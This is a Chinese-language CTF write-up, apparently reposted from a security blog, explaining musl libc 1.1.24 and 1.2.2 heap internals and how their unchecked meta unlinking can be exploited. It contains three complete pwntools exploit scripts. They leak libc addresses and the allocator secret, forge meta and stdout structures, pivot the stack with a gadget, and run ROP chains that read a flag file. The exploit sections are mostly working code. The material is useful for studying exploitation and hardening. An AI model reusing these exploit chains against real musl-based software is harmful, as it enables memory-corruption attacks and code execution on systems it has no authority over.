<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從musl libc 1.1.24到1.2.2 學習pwn姿勢

    VSole2021-09-28 16:21:25

    Musl libc

    最近有時間學一下Musl libc pwn的姿勢。

    跟php pwn一樣,以前遇到這樣的pwn直接都不看的,經過了解之后發現,老版本的Musl libc和新版本之間差距還比較大。結合最近幾次比賽中出現的Musl pwn,學習一下新老版本的Musl libc姿勢。

    1.1.24

    結構體

    1.1.24代表了比較老版本的Musl libc,該版本的內存管理有以下幾個相關的結構體:

    struct chunk {    size_t psize, csize; // 與 glibc 的 prev size 和 size類似    struct chunk *next;     struct chunk *prev;};
    static struct {    volatile uint64_t binmap;#記錄bins中bins[i]是否非空    struct bin bins[64];    volatile int free_lock[2];} mal;
    struct bin {    volatile int lock[2];    struct chunk *head;    struct chunk *tail;};
    

    chunkd的結構與glibc類似,mal與glibc的arena相似,記錄堆的狀態,binmap表示bins[i]中的非空鏈,1代表bin為非空。

    bin如果為空,head和tail為0或者指向bin自身。

    bin如果非空,head和tail分別指向頭和尾的chunk,頭chunk的prev和尾chunk的next指向bin,構成雙向鏈表。

    malloc

    分配過程主要有一下幾個步驟:

    增加chunk頭部,并且size對其0x20

    如果size大于MMAP_THRESHOLD,則使用mmap分配一塊大小為size的內存

    如果size小于MMAP_THRESHOLD,計算size對應的bin下標:

    如果所有的bin都為空,延展堆空間,分配一個新的chunk;

    如果存在非空bin,選擇與size最接近的bin,取bin首部的chunk,如果該chunk大小遠大于size,使用pretrim分割chunk,否則unbin從鏈表中取出chunk。

    最后對chunk進行trim,主要是回收超過size的內存,減少內存浪費。

    靜態堆內存

    程序初始化之后,查看mal結構體,會發現bins非空,有一個libc中的堆區和程序段的堆區。

    1.2.2

    源碼:https://musl.libc.org/releases/musl-1.2.2.tar.gz

    老版本的內存管理比較簡單,新版本相對復雜一些,所以比較詳細的分析一下Musl 1.2.2的相關代碼。

    結構體

    chunk:

    musl中其實沒有專門的結構體,結合代碼以及內存布局分析chunk結構。

    chunk關于0x10字節對其,如果是group中的第一個chunk,p的前0x10字節作為group結構體的頭部,包括meta地址等。

    如果不是第一個chunk,只有前4字節作為元數據,包括了idx和offset,用來計算與該chunk與group地址的偏移。如果該chunk被釋放,idx會被寫為0xff,offset為0。

    idx和offset的作用就是free時根據chunk地址找到該group對應meta的地址,也為漏洞利用做了鋪墊。

    group:

    在musl中一個meta管理的內存區域用group表示,一個meta對應一個group。

    group中存放size相同的相鄰chunk,通過idx和offset索引。

    struct group {    struct meta *meta;// meta的地址    unsigned char active_idx:5;    char pad[UNIT - sizeof(struct meta *) - 1];// 保證0x10字節對齊    unsigned char storage[];# chunk};
    

    meta:

    比較復雜的結構體,也是漏洞利用中不可缺少的。

    meta之間以雙向鏈表的形式維護了一個鏈式結構,可以理解為一個group被占用滿時,開辟另一個group繼續進行內存分配,這兩個存放相同size的chunk的group通過meta的雙向鏈表聯系起來。

    prev和next代表鏈表中相鄰的meta,如果只有一個meta則指向自己,形成一個環。

    mem指向meta維護的group。

    avail_mask和freed_mask以bitmap方式表示group中chunk的狀態。

    struct meta {    struct meta *prev, *next;    struct group *mem;    volatile int avail_mask, freed_mask;    uintptr_t last_idx:5; //group中chunk數    uintptr_t freeable:1;    uintptr_t sizeclass:6; //管理group大小    uintptr_t maplen:8*sizeof(uintptr_t)-12;//mmap分配該變量為頁數,其他為0};
    

    meta_arena:

    在內存頁起始地址,是多個meta的集合,這樣是為了meta & 0xffffffffffff000就能找到meta_arena結構體。

    結構體中比較重要的就是check,Musl為了保證meta不被偽造,會驗證meta_arena中的check是否與malloc_context中的secret相等。

    struct meta_area {    uint64_t check;    struct meta_area *next;    int nslots;    struct meta slots[];};
    

    malloc_context:

    作為一個全局結構體,記錄當前狀態。

    struct malloc_context {    uint64_t secret;//隨機8字節,用來防止偽造meta#ifndef PAGESIZE    size_t pagesize;#endif    int init_done;    unsigned mmap_counter;    struct meta *free_meta_head;//釋放的meta    struct meta *avail_meta;//可用分配的meta    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;    struct meta_area *meta_area_head, *meta_area_tail;    unsigned char *avail_meta_areas;    struct meta *active[48];//可以分配的meta地址,idx與size相關    size_t usage_by_class[48];//所有meta的group管理chunk數量    uint8_t unmap_seq[32], bounces[32];    uint8_t seq;    uintptr_t brk;};
    

    malloc

    malloc的主要邏輯就是根據size映射一個sc,然后從ctx.active中找合適的group,然后根據avial_mask計算idx,通過group和idx確定一個chunk,然后調用enframe分配。

    void *malloc(size_t n){    if (size_overflows(n)) return 0;    struct meta *g;    uint32_t mask, first;    int sc;    int idx;    int ctr;    //大于MMAP_THRESHOLD mmap分配,不關注這部分    if (n >= MMAP_THRESHOLD) {        ...        goto success;    }    //根據size取sc,類似glibc的各種bins    sc = size_to_class(n);
        rdlock();    //返回sc對應meta    g = ctx.active[sc];
        //meta為空且4=    if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {        size_t usage = ctx.usage_by_class[sc|1];        //使用更大sc的meta        if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask            && !ctx.active[sc|1]->freed_mask))            usage += 3;        if (usage <= 12)            sc |= 1;        g = ctx.active[sc];    }    //取到avail_mask最低位的1,置零之后計算idx;    //根據idx從group中找chunk;    for (;;) {        mask = g ? g->avail_mask : 0;        first = mask&-mask;        if (!first) break;        if (RDLOCK_IS_EXCLUSIVE || !MT)            g->avail_mask = mask-first;        else if (a_cas(&g->avail_mask, mask, mask-first)!=mask)            continue;        idx = a_ctz_32(first);        goto success;    }    upgradelock();    //沒有合適的chunk,分配新的meta和group    idx = alloc_slot(sc, n);    if (idx < 0) {        unlock();        return 0;    }    g = ctx.active[sc];
    success:    ctr = ctx.mmap_counter;    unlock();    //從meta中分配第idx個chunk,大小為n    return enframe(g, idx, n, ctr);}
    

    free

    大致過程就是獲取meta,然后通過mask判斷當前group的狀態,如果還有被占用的chunk,就只是把freed_mask對應位置1,如果該group中的chunk全部空閑就會調用dequeue對該meta進行解鏈,然后更新ctx.active[sc]。

    void free(void *p){    //為空直接返回    if (!p) return;    //獲取chunk的meta    struct meta *g = get_meta(p);    int idx = get_slot_index(p);    size_t stride = get_stride(g);    unsigned char *start = g->mem->storage + stride*idx;    unsigned char *end = start + stride - IB;    get_nominal_size(p, end);    //計算mask    uint32_t self = 1u<2u<last_idx)-1;    //idx置為0xff,offset為0    ((unsigned char *)p)[-3] = 255;    // invalidate offset to group header, and cycle offset of    // used region within slot if current offset is zero.    *(uint16_t *)((char *)p-2) = 0;
        // release any whole pages contained in the slot to be freed    // unless it's a single-slot group that will be unmapped.    if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {        unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));        size_t len = (end-base) & -PGSZ;        if (len) madvise(base, len, MADV_FREE);    }    // 這里如果沒有free的chunk或chunk要么被free要么avavil會跳出循環    // 表明釋放了這個chunk, 那么這個group中所有的chunk都被回收。    // 執行到nontrivial_free(g, idx);    // atomic free without locking if this is neither first or last slot    for (;;) {        uint32_t freed = g->freed_mask;        uint32_t avail = g->avail_mask;        uint32_t mask = freed | avail;        assert(!(mask&self));        if (!freed || mask+self==all) break;        if (!MT)            g->freed_mask = freed+self;        else if (a_cas(&g->freed_mask, freed, freed+self)!=freed)            continue;        return;    }
        wrlock();    //回收掉這個group ,其中有unlink操作    struct mapinfo mi = nontrivial_free(g, idx);    unlock();    if (mi.len) munmap(mi.base, mi.len);}
    

    nontrivial_free

    Musl漏洞利用的關鍵位置,unlink操作沒有檢查。

    static struct mapinfo nontrivial_free(struct meta *g, int i){    uint32_t self = 1u<    int sc = g->sizeclass;    uint32_t mask = g->freed_mask | g->avail_mask;    //要么釋放要么可用,且該meta可以被釋放    //調用dequeue解鏈,同時判斷是否是鏈表頭的meta,是則激活后一個meta。    if (mask+self == (2u<last_idx)-1 && okay_to_free(g)) {        // any multi-slot group is necessarily on an active list        // here, but single-slot groups might or might not be.        if (g->next) {            assert(sc < 48);            int activate_new = (ctx.active[sc]==g);            dequeue(&ctx.active[sc], g);            if (activate_new && ctx.active[sc])                activate_group(ctx.active[sc]);        }        return free_group(g);     // 所有chunk都被占用,現在其中一個chunk要被釋放     // 調用queue將其放到active中,重新進入鏈表中。    } else if (!mask) {        assert(sc < 48);        // might still be active if there were no allocations        // after last available slot was taken.        if (ctx.active[sc] != g) {            queue(&ctx.active[sc], g);        }    }    a_or(&g->freed_mask, self);    return (struct mapinfo){ 0 };}
    

    不安全的解鏈操作:

    dequeue:

    static inline void dequeue(struct meta **phead, struct meta *m){    if (m->next != m) {        m->prev->next = m->next; //vul        m->next->prev = m->prev; //vul        if (*phead == m) *phead = m->next;    } else {        *phead = 0;    }    m->prev = m->next = 0;}
    

    WMCTF-Nescafe 1.1.24

    漏洞UAF。是一個1.1.24老版本的Musl libc。禁用execve,考慮泄露棧地址rop。

    以noteList保存堆塊,漏洞點很明顯,存在UAF,并且沒有初始化堆塊,申請一個塊即可泄露地址。

    未初始化:

    int create(){  __int64 v0; // rax  unsigned int i; // [rsp+4h] [rbp-Ch]  void *buf; // [rsp+8h] [rbp-8h]
      buf = malloc(0x200uLL);  puts("Please input the content");  LODWORD(v0) = read(0, buf, 0x200uLL);  for ( i = 0; i <= 4; ++i )  {    v0 = noteList[i];    if ( !v0 )    {      noteList[i] = buf;      LODWORD(v0) = puts("Done");      return v0;    }  }  return v0;}
    

    UAF

    int del(){  __int64 v0; // rax  unsigned int v2; // [rsp+Ch] [rbp-4h]
      puts("idx:");  v2 = myRead();  if ( v2 > 5 )  {    puts("Invalid idx");    exit(0);  }  v0 = noteList[v2];  if ( v0 )  {    free((void *)noteList[v2]);#uaf    LODWORD(v0) = puts("Done");  }  return v0;}
    

    思路:

    1.leak:由于靜態堆內存,程序沒有對申請的堆塊內容初始化,所以申請一個塊直接就可以泄露libc基址。

    2.利用:存在UAF,利用修改釋放的堆塊prev和next指針劫持mal.bins,并且發現程序段的靜態堆內存剛好位于noteList下方,劫持mal.bins覆蓋低字節,分配到noteList,實現任意地址讀寫。

    from pwn import *
    context.log_level = 'debug'context.arch = 'amd64'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()
    def add(c='a'):    sla('>>','1')    sa('the content',c)def delete(idx):    sla('>>','2')    sla('idx:',str(idx))def show(idx):    sla('>>','3')    sla('idx',str(idx))def edit(idx,c):    sla('>>','4')    sla('idx:',str(idx))    sa('Content',c)sh = process('./pwn')libc = ELF('./libc.so')add('a'*8)#0show(0)libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - (0x00007f051c941e50 - 0x7f051c6af000)mal_bins = libc_base + 0x292e00environ = libc_base + libc.sym['_environ']open_addr = libc_base + libc.sym['open']read_addr = libc_base + libc.sym['read']puts_addr = libc_base + libc.sym['puts']pop_rdi = 0x0000000000014862 + libc_basepop_rsi = 0x000000000001c237 + libc_basepop_rdx = 0x000000000001bea2 + libc_baseprint hex(libc_base)add()#1delete(0)edit(0,p64(mal_bins)*2)#hijack mal.bin->headadd()#2add()#3 hijack mal.binedit(3,'\x00'*0x68+'\x30')add(p64(0)*6)#noteList[0] = ?eList And set show flag to 0show(0)elf_base = u64(ru('\x56')[-6:].ljust(8,'\x00')) - 0x202040#print hex(elf_base)#gdb.attach(sh)noteList = elf_base + 0x202040edit(0,p64(noteList)+p64(environ)+p64(0)*4)show(1)stack_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))ret_addr = stack_addr-(0x7ffc69254d18-0x7ffc69254ca8)edit(0,p64(noteList)+p64(ret_addr)+'./flag\x00\x00'+p64(0)*3)flag_addr = noteList+0x10rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(noteList+0x18) + p64(pop_rdx)+p64(0x30)+p64(read_addr)rop += p64(pop_rdi) + p64(noteList+0x18) + p64(puts_addr)print hex(stack_addr)edit(1,rop)print hex(ret_addr)
    ti()
    

    RCTF-Musl

    漏洞很簡單,add中size為0時堆溢出。

      size = readint("size?", a2);  *(_QWORD *)v5 = malloc(size);  v5[2] = size - 1;  puts("Contnet?");  return readn(*(_QWORD *)v5, v5[2]);
    

    利用方式:

    泄露地址,溢出寫到下一個管理塊,show泄露secret;

    利用dequeque的unlink,劫持 stdout_used,偽造stdout_FILE。

    在大堆塊中偽造meta,使得free時調用dequeue,寫_stdout_use,利用m->next->pre = m->pre。

    static inline void dequeue(struct meta **phead, struct meta *m){    if (m->next != m) {        m->prev->next = m->next;        m->next->prev = m->prev;# fake __stdout_used to m->prev        if (*phead == m) *phead = m->next;    } else {        *phead = 0;    }    m->prev = m->next = 0;}
    

    在m->pre的地址處偽造stdout_FILE結構體,exit時:


    void __stdio_exit(void){    FILE *f;    for (f=*__ofl_lock(); f; f=f->next) close_file(f);    close_file(__stdin_used);    close_file(__stdout_used);#調用    close_file(__stderr_used);}
    static void close_file(FILE *f){    if (!f) return;    FFINALLOCK(f);    if (f->wpos != f->wbase) f->write(f, 0, 0);#gadget棧遷移到ROP chain    if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);}
    

    exp:

    from pwn import *
    context.log_level = 'debug'context.arch = 'amd64'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()
    def add(idx,sz,c='a'):    sla('>>','1')    sla('idx?',str(idx))    sla('size?',str(sz))    sla('Contnet?',c)
    def delete(idx):    sla('>>','2')    sla('idx?',str(idx))
    def show(idx):    sla('>>','3')    sla('idx?',str(idx))
    sh = process(['./libc.so','./r'])libc = ELF('./libc.so')
    for i in range(15):    add(i,0xc)
    delete(0)add(0,0,'a'*0xf)show(0)libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x298d50ctx = libc_base + 0x295ae0stdout = libc_base + 0x295450
    print hex(libc_base)
    delete(2)add(2,0,'a'*0x10+p64(ctx))show(3)ru('Content: ')secret = u64(rc(8))print hex(secret)
    fake_mata = libc_base + 0x28d000+0x1000+8fake_mem = libc_base + 0x298df0-0x20fake_stdout_used = libc_base+0x295450fake_stdout_ptr = libc_base + 0x28d000+0x50magic_gadget = libc_base + 0x000000000004a5aep_rdi_rax = libc_base + 0x000000000007144ep_rsi = libc_base + 0x000000000001b27ap_rdx = libc_base + 0x0000000000009328sys_call = libc_base + 0x0000000000023711ret = libc_base + 0x000000000001689brop_addr = libc_base + 0x28d000+0x100flag_addr = rop_addr - 0x100 + 0x20delete(5)payload = p64(fake_mata)+p64(0)+p64(fake_mem+0x20)add(5,0,payload)#open(flag,0)rop = p64(p_rdi_rax)+p64(flag_addr)+p64(2)rop += p64(p_rsi)+p64(0)+p64(sys_call)#read(fd,buf,size)rop += p64(p_rdi_rax)+p64(3)+p64(0)rop += p64(p_rsi)+p64(flag_addr+0x600)rop += p64(p_rdx)+p64(0x30)+p64(sys_call)#write(1,buf,size)rop += p64(p_rdi_rax)+p64(1)+p64(1)rop += p64(p_rsi)+p64(flag_addr+0x600)rop += p64(p_rdx)+p64(0x30)+p64(sys_call)payload = './flag'.ljust(0x30,'\x00')#fake __stdout_FILEpayload += '\x00'*0x30 + p64(rop_addr) + p64(ret) + p64(0) + p64(magic_gadget)payload  = payload.ljust(0x100-0x20,'\x00') payload += roppayload = payload.ljust(0x1000-0x20,'\x00') payload += p64(secret)+p64(fake_stdout_ptr)+p64(fake_stdout_used)+p64(fake_mem)payload += p32(0x7e)+p32(0)freeable = 1 maplen = 1  sizeclass = 1last_idx = 6last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)payload +=p64(last_value)+p64(0)add(10,0x2000,payload)print hex(magic_gadget)gdb.attach(sh)delete(6)ti()
    

    RCTF-warmnote

    musl 1.2.2,釋放堆塊時只對管理chunk進行了memset,沒有對內容chunk清空。

    泄露:

    利用內容塊殘留內容填\0可以leak libc。(這里對musl管理方式每個meta的group中最多有多少slat還不太清楚,再看一下源碼)

    利用后門leak secret。

    利用:

    偽造meta,通過unqueque劫持stdout_used,偽造stdout_File結構體(劫持f->write指針為gadgets棧遷移)

    musl 1.2.2常用gadgets

     gadgets:   0x7f0d63e025ae :    mov    rsp,QWORD PTR [rdi+0x30]   0x7f0d63e025b2 :    jmp    QWORD PTR [rdi+0x38]
    

    程序流程:

    exit -> __stdio_exit_needed -> close_file -> gadgets -> ropchain
    exp:from pwn import *
    context.log_level = 'debug'context.arch = 'amd64'sa = lambda s,n : sh.sendafter(s,n)sla = lambda s,n : sh.sendlineafter(s,n)sl = lambda s : sh.sendline(s)sd = lambda s : sh.send(s)rc = lambda n : sh.recv(n)ru = lambda s : sh.recvuntil(s)ti = lambda : sh.interactive()
    def add(sz,t='b',c='a'):    sla('>> ','1')    sla('Size: ',str(sz))    sa('Title: ',t)    sa('Note: ',c)def show(idx):    sla('>> ','2')    sla('Index: ',str(idx))def delete(idx):    sla('>> ','3')    sla('Index: ',str(idx))def edit(idx,c):    sla('>> ','4')    sla('Index: ',str(idx))    sa('Note: ',c)def dbg(addr):    gdb.attach(sh,'b *$rebase({})c'.format(addr))def bkdoor(addr):    sla('>> ','666')    sla('[IN]: ',str(addr))sh = process(['./libc.so','./warmnote'])for i in range(3):    add(0x30,'a'*0x10,'a'*0x30)delete(0)delete(1)add(0x30,'a'*0x10)add(0x150,'a'*0x10)show(1)libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x298d20ctx = libc_base + 0x295ae0fake_meta_addr = libc_base + 0x28d000 + 0x1000+8fake_stdout_used = libc_base+0x295450#fake_mem = libc_base + magic_gadget = libc_base + 0x000000000004a5aepoprdiraxret = libc_base + 0x000000000007144epoprsiret = libc_base + 0x000000000001b27apoprdxret = libc_base + 0x0000000000009328syscallret = libc_base + 0x0000000000023711ret = libc_base + 0x000000000001689brop_addr = libc_base + 0x28d000+0x100flag_addr = rop_addr - 0x100 + 0x20stdout_used_ptr = libc_base + 0x28d000+0x50bkdoor(ctx)ru('[OUT]: ')secret = u64(rc(8))print hex(secret)delete(0)delete(1)add(0x38)add(0x38)rop = p64(poprdiraxret)+p64(flag_addr)+p64(2)rop +=p64(poprsiret)+p64(0)+p64(syscallret)#read(fd,buf,size)rop +=p64(poprdiraxret)+p64(3)+p64(0)rop +=p64(poprsiret)+p64(flag_addr+0x600)rop +=p64(poprdxret)+p64(0x30)+p64(syscallret)#write(1,buf,size)rop +=p64(poprdiraxret)+p64(1)+p64(1)rop +=p64(poprsiret)+p64(flag_addr+0x600)rop +=p64(poprdxret)+p64(0x30)+p64(syscallret)
    edit(1,'\x41'*0x30+p64(fake_meta_addr))payload = './flag'.ljust(0x30,'\x00')payload += '\x00'*0x30 + p64(rop_addr) + p64(ret) + p64(0)+p64(magic_gadget)payload = payload.ljust(0x100-0x20,'\x00')payload += roppayload = payload.ljust(0x1000-0x20,'\x00')payload += p64(secret)+p64(stdout_used_ptr) + p64(fake_stdout_used)+p64(libc_base-0x1a0)+p32(0x7e)+p32(0)freeable = 1 maplen = 1  sizeclass = 4  last_idx = 6last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)payload += p64(last_value) + p64(0)+''add(0x2000,'a',payload)
    print hex(libc_base)# hijack __stdout_useddelete(0)# exit -> __stdio_exit_needed -> close_file -> gadgets -> ropchainsla('>> ','5')
    ti()
    

    總結

    Musl作為一個輕量級的libc庫,相對來說學習成本比較低,如果僅僅是為了解決當前比賽中的Musl pwn很快就能上手,但是分析源碼和調試漏洞的過程中收獲還是很多的。

    這個過程中借鑒了很多師傅的經驗,受益匪淺,也少走了很多彎路。

    metalast
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文就簡單介紹介紹如何編譯一個musl libc下的程序,并通過它簡單調試調試musl libc 的一些特性。安裝musl環境&&符號表這里直接用0xRGz師傅的做法。(這里的/path/to是需要修改的,也就是你git的muslheap的路徑。freed_mask記錄group中已經被free釋放的堆塊,當前沒有任何被釋放的堆塊,所以它為0。free_able為1表示當前有一個堆塊能free。sizeclass為2 表示由0x2這個group進行管理這一類的大小的chunk。maplen為0說明這個group不是通過mmap分配的。接下來我們調試調試meta dequeue第二種觸發方式——malloc的時候。
    從零開始開發CS beacon
    2021-12-21 16:01:20
    因為我也才學golang,基本面向github編程,在網上只找到python版加解密的方式,所以需要翻譯成go語言。
    亞馬遜 Simple Storage Service (S3)將默認在服務器端用AES-256自動加密新數據。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 類遠程代碼執行 影響版本:SpringSource Spring Framework 3.0.0
    企業應該了解這些威脅載體,以及向預防和減輕威脅的網絡安全專業人員咨詢網絡安全威脅的預測至關重要。網絡犯罪即服務使不法分子能夠向他人提供黑客服務并收取費用。
    在研究在 Docker 容器中執行不受信任的 Python 代碼會出現什么反應的過程中測試了幾個在線代碼執行引擎,以了解它們對各種攻擊的反應。Qualified 被廣泛使用,包括CodeWars 或InterviewCake等網站。能夠運行代碼與網絡訪問,且在 Amazon Web Services 中運行。
    本題來源于DefCon Quals 2021的mooosl,考察點是最新版本musl libc 1.2.2利用。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类